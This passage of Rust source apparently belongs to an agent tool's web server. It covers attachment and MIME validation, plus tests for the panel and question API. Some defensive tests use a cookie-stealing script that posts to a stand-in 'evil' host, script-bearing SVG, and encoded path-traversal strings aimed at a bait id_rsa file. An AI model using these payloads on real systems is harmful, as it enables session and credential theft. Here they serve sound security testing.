4744 blocking(move || {
4745 let id = resolve_talk(&ui.talks, &id)?;
4746 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4747 return Err(ApiError::not_found(format!(
4748 "talk {id} has no attachment `{att}`"
4749 )));
4750 };
4751 Ok(attachment_response(&meta.mime, data))
4752 })
4753 .await
4754}
4755
4756fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4767 if data.len() > ATTACHMENT_MAX_BYTES {
4768 return Err(ApiError::bad_request(format!(
4769 "attachment is {} bytes, over the {} MiB limit",
4770 data.len(),
4771 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4772 ))
4773 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4774 }
4775 if data.is_empty() {
4776 return Err(ApiError::bad_request("attachment is empty"));
4777 }
4778 let declared = declared_mime(headers)?;
4779 match sniffed_mime(data) {
4780 Some(sniffed) if sniffed == declared => Ok(declared),
4781 Some(sniffed) => Err(ApiError::bad_request(format!(
4782 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4783 ))),
4784 None => Err(ApiError::bad_request(
4785 "the file's bytes do not match any accepted image format",
4786 )),
4787 }
4788}
4789
4790fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4794 let raw = headers
4795 .get(header::CONTENT_TYPE)
4796 .and_then(|v| v.to_str().ok())
4797 .unwrap_or("")
4798 .split(';')
4799 .next()
4800 .unwrap_or("")
4801 .trim()
4802 .to_ascii_lowercase();
4803 ATTACHMENT_MIME_WHITELIST
4804 .iter()
4805 .find(|&&m| m == raw)
4806 .copied()
4807 .ok_or_else(|| {
4808 if raw == "image/svg+xml" {
4809 ApiError::bad_request(
4810 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4811 not just a picture",
4812 )
4813 } else if raw.is_empty() {
4814 ApiError::bad_request("Content-Type is required for an attachment upload")
4815 } else {
4816 ApiError::bad_request(format!(
4817 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4818 image/gif or image/webp"
4819 ))
4820 }
4821 })
4822}
4823
4824fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4827 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4828 Some("image/png")
4829 } else if data.starts_with(b"\xff\xd8\xff") {
4830 Some("image/jpeg")
4831 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4832 Some("image/gif")
4833 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4834 Some("image/webp")
4835 } else {
4836 None
4837 }
4838}
4839
4840fn filename_header(headers: &HeaderMap) -> String {
4846 headers
4847 .get(FILENAME_HEADER)
4848 .and_then(|v| v.to_str().ok())
4849 .map(str::trim)
4850 .filter(|s| !s.is_empty())
4851 .unwrap_or("attachment")
4852 .to_owned()
4853}
4854
4855fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4862 let content_type = ATTACHMENT_MIME_WHITELIST
4863 .iter()
4864 .find(|&&m| m == mime)
4865 .copied()
4866 .unwrap_or("application/octet-stream");
4867 (
4868 [
4869 (header::CONTENT_TYPE, content_type),
4870 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4871 ],
4872 body,
4873 )
4874 .into_response()
4875}
4876
4877async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4885 let repo = repo.to_path_buf();
4886 blocking(move || {
4887 let (cfg, _) = Config::discover(&repo, None)?;
4888 Ok(cfg)
4889 })
4890 .await
4891}
4892
4893fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4899 let mut hits = ids
4900 .into_iter()
4901 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4902 match (hits.next(), hits.next()) {
4903 (Some(one), None) => Ok(one),
4904 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4905 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4906 "`{prefix}` matches more than one {what}, including {a} and {b}"
4907 ))),
4908 }
4909}
4910
4911#[cfg(test)]
4912mod tests {
4913
4914 #[test]
4915 fn holder_reads_the_lease_not_the_record() {
4916 let mut q = Question::new(
4917 "run".to_owned(),
4918 "implement".to_owned(),
4919 "impl-A".to_owned(),
4920 "which?".to_owned(),
4921 String::new(),
4922 Vec::new(),
4923 );
4924 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
4925 q.cwd = Some("/tmp".to_owned());
4926 assert_eq!(holder_of(&q, None), Some("nobody"));
4927 let beat = |kind, ago: i64| ask::Lease {
4928 kind,
4929 pid: 1,
4930 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
4931 .unwrap(),
4932 };
4933 let fresh = beat(ask::WaiterKind::Asker, 1);
4934 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
4935 let daemon = beat(ask::WaiterKind::Daemon, 1);
4936 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
4937 let stale = beat(ask::WaiterKind::Asker, 3600);
4938 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
4939 }
4940 use pretty_assertions::assert_eq;
4941 use serde_json::Value;
4942 use tempfile::TempDir;
4943 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4944
4945 use super::*;
4946 use crate::config::Config;
4947 use crate::queue::{Source, TaskStatus};
4948
4949 const SETTLE_STEPS: usize = 3_000;
4960
4961 struct Fixture {
4967 home: TempDir,
4968 addr: SocketAddr,
4969 }
4970
4971 impl Fixture {
4972 async fn start() -> Self {
4973 Self::with_loop(launch_idle).await
4974 }
4975
4976 async fn with_loop(launch: Launch) -> Self {
4978 let home = TempDir::new().expect("temp home");
4979 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4980 Self { home, addr }
4981 }
4982
4983 async fn with_repo(repo: PathBuf) -> Self {
4987 let home = TempDir::new().expect("temp home");
4988 let addr = Self::serve(home.path(), repo, launch_idle).await;
4989 Self { home, addr }
4990 }
4991
4992 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4993 let queue = Queue::at(home.join("queue"));
4994 let runs = home.join("runs");
4995 std::fs::create_dir_all(&runs).expect("runs dir");
4996 let worktrees = home.join("wt").join("magi");
4997 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4998 let ui = Ui::new(
4999 queue,
5000 Questions::at(home.join("questions")),
5001 Talks::at(home.join("talks")),
5002 runs,
5003 home.to_path_buf(),
5004 repo,
5005 )
5006 .with_worktrees_root(worktrees)
5007 .with_launch(launch);
5008 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5009 .await
5010 .expect("bind loopback");
5011 let addr = listener.local_addr().expect("local addr");
5012 tokio::spawn(async move {
5013 let _ = axum::serve(listener, ui.router()).await;
5014 });
5015 addr
5016 }
5017
5018 fn queue(&self) -> Queue {
5019 Queue::at(self.home.path().join("queue"))
5020 }
5021
5022 fn questions(&self) -> Questions {
5023 Questions::at(self.home.path().join("questions"))
5024 }
5025
5026 fn talks(&self) -> Talks {
5027 Talks::at(self.home.path().join("talks"))
5028 }
5029
5030 fn runs(&self) -> PathBuf {
5031 self.home.path().join("runs")
5032 }
5033
5034 async fn get(&self, path: &str) -> Res {
5035 request(self.addr, "GET", path, None).await
5036 }
5037
5038 async fn head(&self, path: &str) -> Res {
5043 request(self.addr, "HEAD", path, None).await
5044 }
5045
5046 async fn post(&self, path: &str, body: Option<&str>) -> Res {
5047 request(self.addr, "POST", path, body).await
5048 }
5049
5050 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5051 request_with(self.addr, "GET", path, None, extra).await
5052 }
5053
5054 async fn delete(&self, path: &str) -> Res {
5055 request(self.addr, "DELETE", path, None).await
5056 }
5057
5058 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5060 request_bytes(self.addr, path, headers, body).await
5061 }
5062 }
5063
5064 struct Res {
5065 status: u16,
5066 headers: String,
5067 head: String,
5072 body: String,
5073 bytes: Vec<u8>,
5077 }
5078
5079 impl Res {
5080 fn json(&self) -> Value {
5081 serde_json::from_str(&self.body)
5082 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5083 }
5084
5085 fn header(&self, name: &str) -> Option<&str> {
5087 self.head.lines().find_map(|line| {
5088 let (key, value) = line.split_once(':')?;
5089 key.trim()
5090 .eq_ignore_ascii_case(name)
5091 .then(|| value.trim_start().trim_end_matches('\r'))
5092 })
5093 }
5094 }
5095
5096 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5099 request_with(addr, method, path, body, &[]).await
5100 }
5101
5102 async fn request_with(
5106 addr: SocketAddr,
5107 method: &str,
5108 path: &str,
5109 body: Option<&str>,
5110 extra: &[(&str, &str)],
5111 ) -> Res {
5112 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5113 for (name, value) in extra {
5114 head.push_str(&format!("{name}: {value}\r\n"));
5115 }
5116 if let Some(body) = body {
5117 head.push_str("Content-Type: application/json\r\n");
5118 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5119 }
5120 head.push_str("\r\n");
5121 if let Some(body) = body {
5122 head.push_str(body);
5123 }
5124 let mut socket = tokio::net::TcpStream::connect(addr)
5125 .await
5126 .expect("connect to the test server");
5127 socket
5128 .write_all(head.as_bytes())
5129 .await
5130 .expect("write request");
5131 let mut raw = Vec::new();
5132 socket.read_to_end(&mut raw).await.expect("read response");
5133 let split = raw
5136 .windows(4)
5137 .position(|w| w == b"\r\n\r\n")
5138 .expect("a header block");
5139 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5140 let bytes = raw[split + 4..].to_vec();
5141 let status = head
5142 .lines()
5143 .next()
5144 .and_then(|line| line.split_whitespace().nth(1))
5145 .and_then(|code| code.parse().ok())
5146 .expect("a status line");
5147 Res {
5148 status,
5149 headers: head.to_lowercase(),
5150 head,
5151 body: String::from_utf8_lossy(&bytes).into_owned(),
5152 bytes,
5153 }
5154 }
5155
5156 async fn request_bytes(
5162 addr: SocketAddr,
5163 path: &str,
5164 headers: &[(&str, &str)],
5165 body: &[u8],
5166 ) -> Res {
5167 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5168 for (name, value) in headers {
5169 head.push_str(&format!("{name}: {value}\r\n"));
5170 }
5171 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5172 let mut socket = tokio::net::TcpStream::connect(addr)
5173 .await
5174 .expect("connect to the test server");
5175 socket
5176 .write_all(head.as_bytes())
5177 .await
5178 .expect("write request head");
5179 socket.write_all(body).await.expect("write request body");
5180 let mut raw = Vec::new();
5181 socket.read_to_end(&mut raw).await.expect("read response");
5182 let split = raw
5183 .windows(4)
5184 .position(|w| w == b"\r\n\r\n")
5185 .expect("a header block");
5186 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5187 let bytes = raw[split + 4..].to_vec();
5188 let status = head
5189 .lines()
5190 .next()
5191 .and_then(|line| line.split_whitespace().nth(1))
5192 .and_then(|code| code.parse().ok())
5193 .expect("a status line");
5194 Res {
5195 status,
5196 headers: head.to_lowercase(),
5197 head,
5198 body: String::from_utf8_lossy(&bytes).into_owned(),
5199 bytes,
5200 }
5201 }
5202
5203 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5205 let mut state = RunState::new(
5206 PathBuf::from("/repo/magi"),
5207 "main".to_owned(),
5208 "0123456789abcdef".to_owned(),
5209 "Add a web UI\n\nMobile first.".to_owned(),
5210 Config::default(),
5211 );
5212 state.id = id.to_owned();
5213 state.status = status;
5214 let dir = runs.join(id);
5215 std::fs::create_dir_all(&dir).expect("run dir");
5216 std::fs::write(
5217 dir.join("run.json"),
5218 serde_json::to_string_pretty(&state).expect("serialize run"),
5219 )
5220 .expect("write run.json");
5221 }
5222
5223 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5227 let mut state = RunState::new(
5228 PathBuf::from(repo),
5229 "main".to_owned(),
5230 "0123456789abcdef".to_owned(),
5231 "task".to_owned(),
5232 Config::default(),
5233 );
5234 state.id = id.to_owned();
5235 state.status = status;
5236 let dir = runs.join(id);
5237 std::fs::create_dir_all(&dir).expect("run dir");
5238 std::fs::write(
5239 dir.join("run.json"),
5240 serde_json::to_string_pretty(&state).expect("serialize run"),
5241 )
5242 .expect("write run.json");
5243 }
5244
5245 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5246 let body = serde_json::json!({
5247 "schema": 1,
5248 "pid": 4242,
5249 "started_at": Timestamp::now().to_string(),
5250 "updated_at": updated_at.to_string(),
5251 "idle": false,
5252 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5253 "completed": 7,
5254 "polls": 143,
5255 });
5256 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5257 }
5258
5259 fn launch_idle(
5269 _opts: daemon::Opts,
5270 stop: daemon::Stop,
5271 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5272 Box::pin(async move {
5273 while !stop.stopped() {
5274 tokio::time::sleep(Duration::from_millis(2)).await;
5275 }
5276 Ok(())
5277 })
5278 }
5279
5280 fn launch_broken(
5283 _opts: daemon::Opts,
5284 _stop: daemon::Stop,
5285 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5286 Box::pin(async {
5287 Err(anyhow::anyhow!(
5288 "publish the daemon status file: read-only file system"
5289 ))
5290 })
5291 }
5292
5293 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5300 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5301
5302 fn launch_knocking_on_the_way_out(
5309 _opts: daemon::Opts,
5310 stop: daemon::Stop,
5311 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5312 Box::pin(async move {
5313 while !stop.stopped() {
5314 tokio::time::sleep(Duration::from_millis(2)).await;
5315 }
5316 let addr = PARK_KNOCK
5317 .lock()
5318 .expect("park knock")
5319 .expect("the test set an address");
5320 let heard = request(addr, "GET", "/api/health", None).await.status;
5321 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5322 Ok(())
5323 })
5324 }
5325
5326 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5335 for _ in 0..SETTLE_STEPS {
5336 let view = fx.get("/api/loop").await.json();
5337 if want(&view) {
5338 return view;
5339 }
5340 tokio::time::sleep(Duration::from_millis(10)).await;
5341 }
5342 panic!(
5343 "the loop never settled: {}",
5344 fx.get("/api/loop").await.json()
5345 );
5346 }
5347
5348 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5350 let store = fx.questions();
5351 let mut q = Question::new(
5352 "20260902-000000-beef".to_owned(),
5353 "implement".to_owned(),
5354 "impl-A".to_owned(),
5355 summary.to_owned(),
5356 "because it matters".to_owned(),
5357 choices.iter().map(|c| (*c).to_owned()).collect(),
5358 );
5359 store.put(&mut q).expect("put question");
5360 q.id
5361 }
5362
5363 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5369 let store = fx.questions();
5370 let mut q = Question::new(
5371 "20260902-000000-beef".to_owned(),
5372 "land".to_owned(),
5373 "fix".to_owned(),
5374 "Merge this?".to_owned(),
5375 "the diff is in the panel".to_owned(),
5376 vec!["merge".to_owned(), "hold".to_owned()],
5377 );
5378 let staging = fx.home.path().join("staging");
5381 std::fs::create_dir_all(&staging).expect("staging dir");
5382 let sources: Vec<PathBuf> = assets
5383 .iter()
5384 .map(|(name, bytes)| {
5385 let path = staging.join(name);
5386 std::fs::write(&path, bytes).expect("write staged asset");
5387 path
5388 })
5389 .collect();
5390 store
5391 .put_panel(&mut q, html, &sources)
5392 .expect("write the panel");
5393 store.put(&mut q).expect("put question");
5394 q.id
5395 }
5396
5397 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5406 let store = fx.talks();
5407 std::fs::create_dir_all(store.root()).expect("talks dir");
5408 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5409 .expect("serialize a seat");
5410 let body = serde_json::json!({
5411 "schema": 1,
5412 "id": id,
5413 "repo": "/repo/magi",
5414 "agent": "mock",
5415 "status": status,
5416 "turns": [],
5417 "created_at": Timestamp::now().to_string(),
5418 "updated_at": Timestamp::now().to_string(),
5419 "seat": seat,
5420 });
5421 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5422 store.get(id).expect("the seeded talk has to be readable");
5423 id.to_owned()
5424 }
5425
5426 #[tokio::test]
5427 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5428 let fx = Fixture::start().await;
5429 let id = panel(
5430 &fx,
5431 "<h1>Merge?</h1><img src=\"diff.svg\">",
5432 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5433 );
5434
5435 for path in [
5436 format!("/api/questions/{id}/panel"),
5437 format!("/api/questions/{id}/asset/diff.svg"),
5438 ] {
5439 let res = fx.get(&path).await;
5440 assert_eq!(res.status, 200, "{path}: {}", res.body);
5441 assert_eq!(
5447 res.header("content-security-policy"),
5448 Some(
5449 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5450 font-src data:; base-uri 'none'; form-action 'none'; \
5451 frame-ancestors 'self'"
5452 ),
5453 "{path} is the only thing between a hostile panel and the tailnet"
5454 );
5455 assert_eq!(
5456 res.header("x-content-type-options"),
5457 Some("nosniff"),
5458 "{path}: a browser must not re-decide the type we sent"
5459 );
5460 assert_eq!(
5461 res.header("referrer-policy"),
5462 Some("no-referrer"),
5463 "{path}: a panel must not leak the question id off the machine"
5464 );
5465
5466 let pre = fx.head(&path).await;
5471 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5472 assert_eq!(
5473 pre.header("content-security-policy"),
5474 res.header("content-security-policy"),
5475 "{path}: the preflight carries the same policy"
5476 );
5477 assert_eq!(
5478 pre.header("content-type"),
5479 res.header("content-type"),
5480 "{path}: the preflight carries the same type"
5481 );
5482 }
5483 }
5484
5485 #[tokio::test]
5486 async fn a_panel_reaches_the_browser_byte_for_byte() {
5487 let fx = Fixture::start().await;
5488 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5493 let id = panel(&fx, html, &[]);
5494
5495 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5496
5497 assert_eq!(res.status, 200);
5498 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5499 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5500 assert_eq!(
5501 res.header("content-disposition"),
5502 None,
5503 "the panel itself is rendered in the frame, not downloaded"
5504 );
5505 }
5506
5507 #[tokio::test]
5508 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5509 let fx = Fixture::start().await;
5510 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5511 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5512 let id = panel(
5513 &fx,
5514 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5515 &[("diff.svg", svg), ("shot.png", png)],
5516 );
5517
5518 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5519 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5520
5521 assert_eq!(as_svg.status, 200);
5522 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5523 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5528
5529 assert_eq!(as_png.status, 200);
5530 assert_eq!(as_png.header("content-type"), Some("image/png"));
5531 assert_eq!(
5532 as_png.header("content-disposition"),
5533 None,
5534 "a raster image has no execution surface, so tapping it still shows it"
5535 );
5536 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5537 }
5538
5539 #[tokio::test]
5540 async fn an_html_asset_is_never_served_as_html() {
5541 let fx = Fixture::start().await;
5542 let id = panel(
5543 &fx,
5544 "<p>see the notes</p>",
5545 &[
5546 (
5547 "notes.html",
5548 b"<script>fetch('http://evil/'+document.cookie)</script>",
5549 ),
5550 ("hook.js", b"fetch('http://evil/')"),
5551 ("data.json", b"{}"),
5552 ("HEADLINE.TXT", b"plain"),
5553 ],
5554 );
5555
5556 for name in ["notes.html", "hook.js", "data.json"] {
5557 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5558 assert_eq!(res.status, 200, "{name}: {}", res.body);
5559 assert_eq!(
5564 res.header("content-type"),
5565 Some("application/octet-stream"),
5566 "{name} must not be a type the browser will execute or render"
5567 );
5568 }
5569 let txt = fx
5572 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5573 .await;
5574 assert_eq!(
5575 txt.header("content-type"),
5576 Some("text/plain; charset=utf-8")
5577 );
5578 }
5579
5580 #[tokio::test]
5581 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5582 let fx = Fixture::start().await;
5583 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5584 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5588
5589 for encoded in [
5596 "%2e%2e%2fid_rsa",
5597 "..%2fid_rsa",
5598 "..%5cid_rsa",
5599 "%2e%2e%5cid_rsa",
5600 "diff%00.svg",
5601 "..",
5602 ".hidden",
5603 "%2e%2e%2f%2e%2e%2fid_rsa",
5604 ] {
5605 let res = fx
5606 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5607 .await;
5608 assert_eq!(
5609 res.status, 400,
5610 "`{encoded}` has to be refused by name, not looked up: {}",
5611 res.body
5612 );
5613 assert!(res.json()["error"].is_string(), "{}", res.body);
5614 }
5615
5616 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5622 let res = fx
5623 .get(&format!("/api/questions/{id}/asset/{literal}"))
5624 .await;
5625 assert_eq!(
5626 res.status, 404,
5627 "`{literal}` must not match the asset route at all: {}",
5628 res.body
5629 );
5630 }
5631 }
5632
5633 #[tokio::test]
5634 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5635 let fx = Fixture::start().await;
5636 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5637 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5638
5639 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5643 assert_eq!(none.status, 404, "{}", none.body);
5644 assert!(none.json()["error"].is_string(), "{}", none.body);
5645 assert_eq!(
5646 fx.head(&format!("/api/questions/{plain}/panel"))
5647 .await
5648 .status,
5649 404,
5650 "the preflight is the only way the client can learn this"
5651 );
5652
5653 let missing = fx
5655 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5656 .await;
5657 assert_eq!(missing.status, 404, "{}", missing.body);
5658 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5659
5660 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5662 assert_eq!(
5663 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5664 404
5665 );
5666 }
5667
5668 #[tokio::test]
5669 async fn a_run_with_an_open_question_reads_as_waiting() {
5670 let fx = Fixture::start().await;
5671 let run = "20260902-000000-beef".to_owned();
5672 write_run(&fx.runs(), &run, RunStatus::Implementing);
5673
5674 let before = fx.get("/api/runs").await.json();
5675 assert_eq!(before[0]["waiting"], false, "{before}");
5676
5677 let store = fx.questions();
5678 let mut q = Question::new(
5679 run.clone(),
5680 "implement".to_owned(),
5681 "impl-A".to_owned(),
5682 "Which backend?".to_owned(),
5683 String::new(),
5684 vec!["SQLite".to_owned()],
5685 );
5686 store.put(&mut q).expect("put");
5687
5688 let during = fx.get("/api/runs").await.json();
5689 assert_eq!(during[0]["waiting"], true, "{during}");
5690
5691 q.answer(Answer::Choice("SQLite".to_owned()))
5694 .expect("answer");
5695 store.put(&mut q).expect("put");
5696 let after = fx.get("/api/runs").await.json();
5697 assert_eq!(after[0]["waiting"], false, "{after}");
5698 }
5699
5700 #[tokio::test]
5701 async fn an_open_question_is_listed_and_counted_by_health() {
5702 let fx = Fixture::start().await;
5703 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5704
5705 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5706 let listed = fx.get("/api/questions").await.json();
5707 assert_eq!(listed.as_array().expect("array").len(), 1);
5708 assert_eq!(listed[0]["id"], id);
5709 assert_eq!(listed[0]["status"], "open");
5710 assert_eq!(listed[0]["choices"][1], "Redis");
5711 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5714 }
5715
5716 #[tokio::test]
5717 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5718 let fx = Fixture::start().await;
5719 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5720 let path = format!("/api/questions/{id}/answer");
5721
5722 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5723 assert_eq!(res.status, 200, "{}", res.body);
5724 let body = res.json();
5725 assert_eq!(body["status"], "answered");
5726 assert_eq!(body["answer"]["choice"], "Redis");
5727
5728 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5732 assert_eq!(again.status, 409, "{}", again.body);
5733 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5734 }
5735
5736 #[tokio::test]
5737 async fn saying_something_appends_a_turn_without_answering() {
5738 let fx = Fixture::start().await;
5739 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5740 let path = format!("/api/questions/{id}/say");
5741
5742 let res = fx
5743 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5744 .await;
5745 assert_eq!(res.status, 200, "{}", res.body);
5746 let body = res.json();
5747 assert_eq!(body["status"], "open", "talking back is not a decision");
5748 assert_eq!(body["answer"], Value::Null);
5749 assert_eq!(body["thread"][0]["who"], "operator");
5750 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5751 assert_eq!(body["waiting_on_agent"], true);
5752 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5754 }
5755
5756 #[tokio::test]
5757 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5758 let fx = Fixture::start().await;
5759 let store = fx.questions();
5760 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5761 assert_eq!(
5762 fx.get("/api/health").await.json()["questions_needs_owner"],
5763 1
5764 );
5765
5766 let res = fx
5772 .post(
5773 &format!("/api/questions/{id}/say"),
5774 Some(r#"{"body":"why not Postgres?"}"#),
5775 )
5776 .await;
5777 assert_eq!(res.status, 200, "{}", res.body);
5778 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5779 assert_eq!(
5780 fx.get("/api/health").await.json()["questions_needs_owner"],
5781 0,
5782 "waiting on the agent is not waiting on the owner"
5783 );
5784
5785 let mut q = store.get(&id).expect("get");
5789 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5790 .expect("reply");
5791 store.put(&mut q).expect("put");
5792 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5793 assert_eq!(
5794 fx.get("/api/health").await.json()["questions_needs_owner"],
5795 1,
5796 "the agent's reply is what should light the banner back up"
5797 );
5798 }
5799
5800 #[tokio::test]
5801 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5802 let fx = Fixture::start().await;
5803 let store = fx.questions();
5804
5805 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5806 let res = fx
5807 .post(
5808 &format!("/api/questions/{empty_id}/say"),
5809 Some(r#"{"body":" "}"#),
5810 )
5811 .await;
5812 assert_eq!(res.status, 400, "{}", res.body);
5813
5814 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5815 let mut answered = store.get(&answered_id).expect("get");
5816 answered
5817 .answer(Answer::Choice("SQLite".to_owned()))
5818 .expect("answer");
5819 store.put(&mut answered).expect("put");
5820 let res = fx
5821 .post(
5822 &format!("/api/questions/{answered_id}/say"),
5823 Some(r#"{"body":"still there?"}"#),
5824 )
5825 .await;
5826 assert_eq!(res.status, 409, "{}", res.body);
5827
5828 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5829 let mut abandoned = store.get(&abandoned_id).expect("get");
5830 abandoned.abandon("timed out");
5831 store.put(&mut abandoned).expect("put");
5832 let res = fx
5833 .post(
5834 &format!("/api/questions/{abandoned_id}/say"),
5835 Some(r#"{"body":"still there?"}"#),
5836 )
5837 .await;
5838 assert_eq!(res.status, 409, "{}", res.body);
5839 }
5840
5841 #[tokio::test]
5842 async fn an_answer_the_question_does_not_offer_is_refused() {
5843 let fx = Fixture::start().await;
5844 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5845 let path = format!("/api/questions/{id}/answer");
5846
5847 for body in [
5848 r#"{"choice":"Postgres"}"#,
5849 r#"{"text":"whatever you think"}"#,
5850 r#"{"choice":"Redis","text":"both"}"#,
5851 r#"{}"#,
5852 ] {
5853 let res = fx.post(&path, Some(body)).await;
5854 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5855 assert!(res.json()["error"].is_string(), "{}", res.body);
5856 }
5857 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5859 }
5860
5861 #[tokio::test]
5862 async fn a_free_text_question_takes_text_and_not_a_choice() {
5863 let fx = Fixture::start().await;
5864 let id = ask(&fx, "What should the flag be called?", &[]);
5865 let path = format!("/api/questions/{id}/answer");
5866
5867 assert_eq!(
5868 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5869 400
5870 );
5871 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
